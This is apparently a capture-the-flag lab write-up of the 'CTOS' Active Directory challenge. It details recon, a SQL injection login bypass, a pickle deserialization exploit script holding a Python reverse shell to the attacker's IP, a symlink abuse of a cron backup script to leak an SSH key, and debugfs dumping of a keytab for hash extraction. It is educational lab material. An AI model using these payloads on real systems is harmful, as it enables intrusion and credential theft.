> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/ctos.md).

# CTOS

Challenge Lab (Medium) - by Aibel Jaic Aju

{% embed url="<https://www.hacksmarter.org/courses/8a5d4508-eeff-4252-b248-6ae7ec9997b0>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

CTOS Corporation delivers cutting-edge managed services, cloud solutions, and cybersecurity expertise to clients of all sizes. You have been hired to perform their annual penetration test against 3 high-value targets in the Active Directory environment. Your task is to identify all vulnerabilties and (if possible) elevate your privileges to Domain Admin.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provided VPN access to their internal network, but no other information.

## Summary

<details>

<summary>Summary</summary>

In CTOS, we begin without credentials against a three-host environment: a Domain Controller `DC01.CTOS.CORP`, a Windows workstation `IT-WS01`, and a Linux web server `WEB-01`. Initial enumeration yields no unauthenticated access on the Windows hosts, but `WEB-01` exposes a web application on port 80 where a Feroxbuster scan reveals a `/portal` endpoint behind a `/login` page. A boolean-based SQL injection bypass as `admin` grants access to the developer portal, which links to the application's source code. Reviewing `app.py` reveals an insecure `pickle.loads` deserialization on the session cookie with no sanitization, which we exploit by crafting a malicious pickle payload to gain a reverse shell as `phil`. A `pspy64` scan reveals a cron job run by `john` executing `/opt/backup/backup.sh`, which blindly `cat`s a config file from `phil`'s staging directory into a world-readable log. We plant a symlink pointing `backup_config` to `/home/john/.ssh/id_rsa`, leaking John's private key into the backup log and granting SSH access. As `john`, membership in the `disk` group allows raw block device access, which we leverage through `debugfs` to dump the root-only `/etc/krb5.keytab` file, extracting the NTLM hash of the `svc_web` service account via `keytabextract.py`. With `svc_web`, BloodHound enumeration maps the full attack path to Domain Admins, and access to the `IT_Onboarding` SMB share on `IT-WS01` reveals a password policy document describing how initial credentials are constructed. We craft a wordlist from LDAP-queried user attributes and password-spray against the domain, cracking `l_conrad`'s password and gaining a WinRM session on `IT-WS01`. A `PrivescCheck` scan identifies the `CTOSInventorySvc` service with `AllAccess` for `BUILTIN\Users`, which we abuse by swapping its `binPath` to a Sliver service stager, starting the service, and catching a session as `NT AUTHORITY\SYSTEM`. From the Administrator's Documents folder we recover a KeePass database, crack it with `john` against `rockyou.txt`, and retrieve the `svc_infra_mgr` password. Following the BloodHound path, we use `svc_infra_mgr`'s `GenericWrite` over `it_ops_lead` to perform a Shadow Credentials attack via Certipy, recovering the NT hash. As `it_ops_lead`, we leverage `AddMember` on `policy_automation_group` through bloodyAD, then abuse the group's `WriteOwner` on the Default Domain Controllers Policy via `pygpoabuse` to create a scheduled task that adds a new Domain Admin. Finally, we authenticate as the newly created user and perform a DCSync through `secretsdump.py` to retrieve the `krbtgt` hash.

</details>

## Recon

We'll start by running a port scan on each host and take a look at the most notable services first.

### DC01

We use `rustscan -b 500 -a 10.1.237.164 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.237.164 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtrbR1x8Rebm5RoryIDQx%2Fgrafik.png?alt=media&amp;token=b3d17e37-7ba1-4ee4-9641-8243d9a31419" alt=""><figcaption></figcaption></figure>

The target `10.1.237.164` is a Domain Controller, `DC01.CTOS.CORP`, in the `CTOS.CORP` domain. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. Remote management and access are available through RDP on port `3389` and WinRM on ports `5985`. The host also exposes AD Web Services on port `9389`, RPC over HTTP on port `593`, and several MSRPC endpoints on ports `135`, `49664-49722`. Notably, the LDAP/LDAPS certificates are issued by an enterprise CA named `CTOS-DC01-CA` indicating Active Directory Certificate Services is present in the environment.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fd39xAy37UzNxv15uMtbu%2Fgrafik.png?alt=media&amp;token=69e50f0d-1d60-4479-a861-6f4b1122e9c8" alt=""><figcaption></figcaption></figure>

So far, we haven't been able to find anything on the machine without credentials. Nevertheless we will generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.237.164 -u guest -p '' --generate-hosts-file dc01-hosts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCaDd76YrNWFyHkxSwnYh%2Fgrafik.png?alt=media&amp;token=48a92c2d-3010-4f6d-a70f-0d9f295a2f95" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.237.164     DC01.CTOS.CORP CTOS.CORP DC01
```

{% endcode %}

### IT-WS01

We use `rustscan -b 500 -a 10.1.247.115 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.247.115 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOyNGkpiKYxJrj2Y4Ea9G%2Fgrafik.png?alt=media&amp;token=3be82555-7f82-4275-aeeb-cb3e593ebbcc" alt=""><figcaption></figcaption></figure>

The target `10.1.247.115` is a domain-joined Windows workstation, `IT-WS01.CTOS.CORP`, in the `CTOS.CORP` domain. SMB is exposed via port `445` with message signing enabled but NOT required. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`. Web Services for Devices (WSDAPI) is exposed on port 5357 (Microsoft HTTPAPI httpd 2.0). The host also exposes the standard MSRPC endpoint mapper on port `135` and a dynamic MSRPC endpoint on port 49668.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmWETOG7bAAWXSA1pMNGA%2Fgrafik.png?alt=media&amp;token=11c76fc9-0a2c-4584-8f4b-44623e57549f" alt=""><figcaption></figcaption></figure>

Also here we haven't been able to find anything on the machine without credentials. Nevertheless we will generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.1.247.115 -u guest -p '' --generate-hosts-file it-ws01-hosts
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7dYQI45chC5FfBM2Z4MG%2Fgrafik.png?alt=media&amp;token=9d929a97-67ce-4047-8620-8723f8701ef0" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.1.247.115     IT-WS01.CTOS.CORP IT-WS01
```

{% endcode %}

### WEB-01

We use `rustscan -b 500 -a 10.1.234.105 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.234.105 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0n380TAQ92Zbiv7uISZc%2Fgrafik.png?alt=media&amp;token=e2ea8246-3f89-433a-b8ba-ebd52243aafd" alt=""><figcaption></figcaption></figure>

The target `10.1.234.105` is a Linux host running Ubuntu. SSH is exposed on port `22` and a web server on port `80` is hosting a "Home | Enterprise Technology Solutions" page.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQ1PPSxr5VqscKEvZHkbM%2Fgrafik.png?alt=media&amp;token=4b19f6a6-62aa-4cf0-8d95-c56d1577b2e6" alt=""><figcaption></figcaption></figure>

We'll take a closer look at the website hosted on port `80` and start by visiting it in our browser. At first glance, it seems to be a static page with not much to offer.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.234.105/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FY7EfDuij5E2bs3yDENyr%2Fgrafik.png?alt=media&amp;token=22638e07-6306-45fe-a5f4-8fd99b212497" alt=""><figcaption></figcaption></figure>

We visit every link we can find and come across a contact form. We could try to leverage some blind XSS to hijack the session of a user who reviews the messages, since we'll see right away that there is a login page. However, we are not successful in doing so.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.234.105/contact
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ff4sSEjd8jVTKvIpAtWr8%2Fgrafik.png?alt=media&amp;token=f5ac5a32-aaa1-4719-b894-6600c7e615b2" alt=""><figcaption></figcaption></figure>

We continue with a directory scan using Feroxbuster and do find a `/portal` endpoint that redirects to a `/login` page.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.1.234.105/'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4YVosU9dWOE0Sn1bURwP%2Fgrafik.png?alt=media&amp;token=c3c54c37-4c91-4bcc-ba4f-4e8a3284c342" alt=""><figcaption></figcaption></figure>

## Access as admin on Developer Portal

We're visiting the `/login` page...

{% code overflow="wrap" expandable="true" %}

```
http://10.1.234.105/login
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FvqMtg9VeKkto7BKakWh9%2Fgrafik.png?alt=media&amp;token=c7ebbf9f-f7ac-4a2d-9f3d-6f20d3ea86ce" alt=""><figcaption></figcaption></figure>

They attempt to log in as `admin` using a boolean-based SQL injection... and succeed.

{% code overflow="wrap" expandable="true" %}

```
admin' AND 1=1 -- -
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBi5fDW4DUagehh9CSkW5%2Fgrafik.png?alt=media&amp;token=7491f8dd-79f9-49ab-b015-3cc92d3ae12b" alt=""><figcaption></figcaption></figure>

We have now access to the developer portal.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.234.105/portal
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRrTv32rAwrtNvGuLJZpa%2Fgrafik.png?alt=media&amp;token=b3d5adfd-a309-43bf-8d98-306b4df040ce" alt=""><figcaption></figcaption></figure>

## Shell as phil on WEB-01

If we scroll down a bit, we'll find some interesting links. Among them is one that reveals the source code of the page, which was originally provided for an IT audit.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5FruRDqrZb3rwMUNfvbc%2Fgrafik.png?alt=media&amp;token=fc4ded7b-f0a6-4c7a-a125-4b950c3f0b99" alt=""><figcaption></figcaption></figure>

We'll download the archive and unzip it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FD5F8JBsUuHTbA2jqTgwJ%2Fgrafik.png?alt=media&amp;token=1bcafd5f-5fbc-4c8a-8c6a-247f04400051" alt=""><figcaption></figcaption></figure>

We take a look at `app.py` and find an insecure deserialization vulnerability without any sanitization or other countermesaures. The session cookie is loaded via `pickle.load`, which would allow us to execute arbitrary Python code on the server since we are in control of the cookie.

<pre class="language-python" data-title="app.py" data-overflow="wrap" data-line-numbers data-expandable="true"><code class="lang-python"><strong>app.py
</strong>#!/usr/bin/env python3

import os
import base64
import pickle
from datetime import datetime
from flask import Flask, render_template, request, redirect, url_for, make_response, flash
...
def get_session():
    cookie = request.cookies.get('ctos_session')
    if cookie:
        try:
            data = base64.b64decode(cookie)
            return pickle.loads(data)
        except:
            pass
    return None
...
</code></pre>

We generate a pickle payload that executes a reverse shell using the following script. Pickle deserialization is exploitable because the `__reduce__` method lets us control what gets called during unpickling. Here we return `(os.system, (CMD,))`, so when the target deserializes our object, it executes `CMD` via `os.system`.&#x20;

We hadn't had much success getting a bash reverse shell to execute, so we try to run a Python reverse shell using Python, which we grabbed from `revshells.com`.

{% code title="craft-payload.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
import pickle, os, base64

CMD = '''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.200.81.134",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")' '''

class Exploit:
    def __reduce__(self):
        return (os.system, (CMD,))

b64 = base64.b64encode(pickle.dumps(Exploit())).decode()
print(b64)
```

{% endcode %}

We craft the paayload.

{% code overflow="wrap" expandable="true" %}

```
python craft-payload.py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FygbrXosCxtE7sai8hVKG%2Fgrafik.png?alt=media&amp;token=bd9cb97a-691c-4835-8db5-817c1cc42118" alt=""><figcaption></figcaption></figure>

Next, we set up our listener to catch the reverse shell. We are using Penelope.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fvny9bJWG8eFe8yltoLeR%2Fgrafik.png?alt=media&amp;token=65bcf776-a1c4-4ef5-9f6e-3bf6ae6d7036" alt=""><figcaption></figcaption></figure>

Now we replace the value of the `ctos_session` cookie with our payload and reload the page. We get a `500` internal server error, but we also receive a conneciton to our listener.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOO4dYucFX71oJEr29D66%2Fgrafik.png?alt=media&amp;token=198861f7-9649-4960-ad88-9ded716e1821" alt=""><figcaption></figcaption></figure>

We try to run some commands, but they fail. the `PATH` environment variables are not set. We fix this by setting it manually. We are the user `phil`.

{% code overflow="wrap" expandable="true" %}

```
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCeR3EEWHLRyPuqNhW3Mi%2Fgrafik.png?alt=media&amp;token=6ee100cc-5b62-4463-8a89-0e6634be6512" alt=""><figcaption></figcaption></figure>

## Shell as john on WEB-01

While running a scan with `pspy64`, we noticed that a job pops up by the user with ID `1001` running `/opt/backup/backup.sh`.

{% embed url="<https://github.com/dominicbreuker/pspy>" %}

{% code overflow="wrap" expandable="true" %}

```
./pspy64
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1H4tem4ijysDdR0ZxRwJ%2Fgrafik.png?alt=media&amp;token=360084d6-da91-4849-875d-38e1636612b8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnVX7SiGOkDxsvWw4lxWu%2Fgrafik.png?alt=media&amp;token=78716794-8f87-4be4-bea0-03b250697a98" alt=""><figcaption></figcaption></figure>

The user that runs the job is `john`. This might be the opportunity to move lateraly to `john` since there seem no other options to escalate from `phil`.

{% code overflow="wrap" expandable="true" %}

```
cat /etc/passwd
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHAfdEHqILRsof1QN7CSy%2Fgrafik.png?alt=media&amp;token=86c5c583-cf47-45ea-a73f-54773113bf76" alt=""><figcaption></figcaption></figure>

We see that we are able to read the script that is run by `john`. The script creates a zip backup of `/opt/ctos_portal` and writes it to the `static/` directory, then checks `phil`'s staging directory for a `backup_config` file. If its present, it dumps that file's contents into a world-readable log and deletes the file.

Because the script blindly `cat`s `$CONFIG_FILE` into a readable log, we can replace `backup_config` with a symlink to any file we want to read only readable by `john`, and on the next run the script follows the link and leaks that file's contents into `backup.log`.

{% code overflow="wrap" expandable="true" %}

```
cat /opt/backup/backup.sh
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1unS0664Ua2pEM0ukVeM%2Fgrafik.png?alt=media&amp;token=b96119e4-900e-4e78-a6c8-cf514c633f50" alt=""><figcaption></figcaption></figure>

{% code title="backup.sh" overflow="wrap" lineNumbers="true" expandable="true" %}

```bash
#!/bin/bash

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

LOG_FILE="/var/log/backup/backup.log"
STAGING_DIR="/home/phil/backup_staging"
CONFIG_FILE="$STAGING_DIR/backup_config"
SOURCE_DIR="/opt/ctos_portal"
BACKUP_FILE="/opt/ctos_portal/static/backup.zip"

if [ ! -f "$LOG_FILE" ]; then
    touch "$LOG_FILE"
    chmod 644 "$LOG_FILE"
fi

echo "[$(date)] Starting backup process..." >> "$LOG_FILE"

/usr/bin/zip -q -r "$BACKUP_FILE" "$SOURCE_DIR" -x "$SOURCE_DIR/venv/*" >> "$LOG_FILE" 2>&1

if [ -f "$CONFIG_FILE" ]; then
    echo "[$(date)] Reading backup configuration from phil's staging..." >> "$LOG_FILE"
    cat "$CONFIG_FILE" >> "$LOG_FILE" 2>&1
    rm -f "$CONFIG_FILE"
    echo "[$(date)] Configuration processed and removed" >> "$LOG_FILE"
else
    echo "[$(date)] No configuration file found in staging directory" >> "$LOG_FILE"
fi

echo "[$(date)] Backup completed successfully" >> "$LOG_FILE"
echo "----------------------------------------" >> "$LOG_FILE"
```

{% endcode %}

We try to read the SSH private key of `john` and create a symlink as follows.

{% code overflow="wrap" expandable="true" %}

```
ln -sf /home/john/.ssh/id_rsa backup_config
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fo2O2kqDO48hlJpC5p2RE%2Fgrafik.png?alt=media&amp;token=8cd87d03-c0a2-4539-9781-f77d414889c9" alt=""><figcaption></figcaption></figure>

After a short duration we inspect the `backup.log` and find the private key of `john`.

{% code overflow="wrap" expandable="true" %}

```
cat /var/log/backup/backup.log
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu9lZC9paXEyWczUXWsld%2Fgrafik.png?alt=media&amp;token=2d47393b-ef01-4c62-8e06-5a231199844b" alt=""><figcaption></figcaption></figure>

Next, we save the content of the private key to our machine and adjust the permission. Now we are able to SSH into WEB-01 with the private key. On our `id` check we see that `john` is member of the `disk` group, which might come in handy later since that will allow us to read any file through the access to the underlying block devices. But more on that later.

{% code overflow="wrap" expandable="true" %}

```
chmod 600 id_rsa
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ssh -i id_rsa john@10.1.234.105
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPo3jWiN7dQAZ3ZS2biRU%2Fgrafik.png?alt=media&amp;token=9a405fad-ae97-4919-8740-cb01a7ad3a6d" alt=""><figcaption></figcaption></figure>

## Access as svc\_web on IT-WS01

The Linux machine appears to be domain joined. We have a `krb5.conf` and a `krb5.keytab` file in place. We've already seen something similar in the `Anomaly` Scenario:

{% embed url="<https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/anomaly#access-as-brandon_boyd-on-dc>" %}

{% code overflow="wrap" expandable="true" %}

```
ls -lah /etc/krb5.*
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtIUYvWJ2E4DSLWEc0Hh0%2Fgrafik.png?alt=media&amp;token=d473d7f3-cc14-46d9-9776-01aac4d3e19b" alt=""><figcaption></figcaption></figure>

The `krb5.conf` file configures Kerberos authentication for the `CTOS.CORP` realm, specifying `172.16.11.140` as both the KDC and admin server. DNS-based discovery of realms and KDCs is disabled, and tickets are set to a 24-hour lifetime with 7-day renewable periods. The domain `ctos.corp` and its subdomains are mapped to the `CTOS.CORP` Kerberos realm.

{% code overflow="wrap" expandable="true" %}

```
cat /etc/krb5.conf
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuMdT329vlGneWwNVX8S7%2Fgrafik.png?alt=media&amp;token=58390d5b-01ce-4544-ac30-9b0c065598f2" alt=""><figcaption></figcaption></figure>

Besides the `krb5.conf` file we have a keytab file `krb5.keytab`.

A keytab is a file that stores one or more Kerberos principals and their encrypted secret keys so a service or script can authenticate to a Kerberos KDC non-interactively. Because it contains credentials, a keytab must be tightly protected restricted permissions and secure storage to prevent unauthorized access or impersonation. Checking the privileges only `root` has read access to the keytab file.

Recalling our previous find, we know we are member of the `disk` group. Membership in the `disk` group grants us raw read/write access to the underlying block devices bypassing file permissions entirely.

{% code overflow="wrap" expandable="true" %}

```
id
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSVTuO7uIMpoqDzUrpm9z%2Fgrafik.png?alt=media&amp;token=c3a43809-ccdf-46fc-92c2-a900b6f2c56e" alt=""><figcaption></figcaption></figure>

We list the block devices to identify the root filesystem partition and identify `/dev/nvme0n1p2` as the root partition.

{% code overflow="wrap" expandable="true" %}

```
lsblk
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3FGAexEPlZxVlCYbLqxO%2Fgrafik.png?alt=media&amp;token=6a4e3f39-ffdc-4a2f-a1eb-120dd22e7f8b" alt=""><figcaption></figcaption></figure>

The tool `debugfs` is a filesystem debugger that lets us traverse and read the filesystem directly through the block device, bypassing file permissions entirely. Using it, we can copy a root-only file like the keytab file to `/tmp` and are able to read if afterwards.

{% code overflow="wrap" expandable="true" %}

```
debugfs -R "dump /etc/krb5.keytab /tmp/krb5.keytab" /dev/nvme0n1p2
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVxOjGFJCd5puKdjdCwm0%2Fgrafik.png?alt=media&amp;token=7206fc91-176f-4f4f-be0d-9d990aa4cad8" alt=""><figcaption></figcaption></figure>

With the following command we are able to list the entries in our retrieved `/tmp/krb5.keytab` showing each principal, timestamp, and the stored keys in hexadecimal with their key versions. We are able to identifiy the principal `svc_web`.

{% code overflow="wrap" expandable="true" %}

```
klist -k -t -K /tmp/krb5.keytab
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZsMVyD4EixVYUbqJNR2j%2Fgrafik.png?alt=media&amp;token=15d8e441-50f8-40dc-826d-a8efdf677d6f" alt=""><figcaption></figcaption></figure>

Next we want to extract the secrets from the keytab file. The following article shows how to use Keytab files in a red team engagement including extracting the NTLM hash from a keytab file:

{% embed url="<https://firecompass.com/the-art-of-keytab-files/>" %}

We spin up a web server on the target machine in the `/tmp` directory to exfiltrate the keytab file.

{% code overflow="wrap" expandable="true" %}

```
python3 -m http.server 9000
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FoUKeAswKa7c21t93ninm%2Fgrafik.png?alt=media&amp;token=e7fa2f11-7e00-4dfd-8d76-a5ea037eaf81" alt=""><figcaption></figcaption></figure>

Next, we retrieve the keytab file.

{% code overflow="wrap" expandable="true" %}

```
wget http://10.1.234.105:9000/krb5.keytab
```

{% endcode %}

After downloading the keytab file we try to extract the NTLM hash using the tool suggested in the article mentioned before. We are able to retreive the NT hash of `svc_web`.

{% embed url="<https://github.com/sosdave/KeyTabExtract>" %}

{% code overflow="wrap" expandable="true" %}

```
./KeyTabExtract/keytabextract.py krb5.keytab
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzNE8l20AvEHOqUK5evOP%2Fgrafik.png?alt=media&amp;token=2b3db68f-a437-4a52-a8d0-da6a836e937e" alt=""><figcaption></figcaption></figure>

We test the credentails of `svc_backup` using NetExec and successfully authenticate. We also notice an `IT_Onboarding` share that is readable that might hold valuable information like default credentials.

{% code overflow="wrap" expandable="true" %}

```
nxc smb IT-WS01.CTOS.CORP -u svc_web -H REDACTED --shares
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FI9jfRDSBrsdddEsOI8zv%2Fgrafik.png?alt=media&amp;token=872ed9b4-0193-42d6-a9f8-dd7f6556e392" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration

Now that we have credentials we'll enumerate the domain using BloodHound. To run the the collector with the hash we need to add the LM hash of an empty string: `aad3b435b51404eeaad3b435b51404ee`.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'svc_web' --hashes 'aad3b435b51404eeaad3b435b51404ee:REDACTED' -d CTOS.CORP -dc DC01.CTOS.CORP -ns 10.1.96.207 -c All --zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FwruHwdBLIwMTPQGCFnHz%2Fgrafik.png?alt=media&amp;token=9e4d9a00-2b03-42ab-8323-22f816bed5dd" alt=""><figcaption></figcaption></figure>

We inspect the user we just compromised, but do not find any special privileges or memberships.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZqXbeMGo1v31f1YWm2Hc%2Fgrafik.png?alt=media&amp;token=d727afe2-33e8-48e8-895e-2477ad3688b9" alt=""><figcaption></figcaption></figure>

The only Domain Admin is the Administrator user.

